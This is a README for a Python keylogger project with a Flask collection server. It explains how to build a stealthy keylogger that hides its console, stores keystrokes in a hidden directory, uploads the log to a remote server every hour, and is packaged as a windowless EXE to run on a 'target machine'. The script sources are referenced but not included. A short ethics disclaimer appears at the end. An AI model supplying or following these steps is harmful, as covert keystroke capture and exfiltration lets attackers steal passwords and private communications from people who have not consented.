Keylogger Project

Overview

This project implements a keylogger in Python, (The keylogger runs in the background without displaying a console window) which logs all keystrokes to a file and periodically sends the log file to a web server.

Prerequisites

• Python 3.x
• pynput library
• requests library
• flask library (for the server)

Installation

1. Clone the repository or download the source code.

2. Install the required Python libraries:

   pip install pynput requests flask

Keylogger Script

1. Save the keylogger script as keylogger.py:

2. Modify the server URL: Replace 'http://your-server-ip:5000/upload' with the actual URL of your web server.

3. Convert the script to an EXE using PyInstaller: -> In CMD

   pyinstaller --onefile --noconsole keylogger.py
   

it will create EXE file.

Flask Web Server

1. Save the server script as server.py:

2. Run the Flask web server:

   python server.py

Usage

1. Run the web server (server.py) on a machine with a static IP or domain name.

2. Run the keylogger executable (keylogger.exe) on the target machine.

The keylogger will log all keystrokes to a file named keylog.txt in a hidden directory in the user's home directory. Every hour, the log file will be sent to the web server.

Ethical and Legal Considerations

• Explicit Permission: Always ensure you have explicit permission from the owner of the computer before running a keylogger.
• Privacy: Respect privacy and inform users about what you are doing.
• Legal Boundaries: Be aware of and comply with local laws regarding keylogging and monitoring software.

Use this knowledge responsibly and within legal boundaries.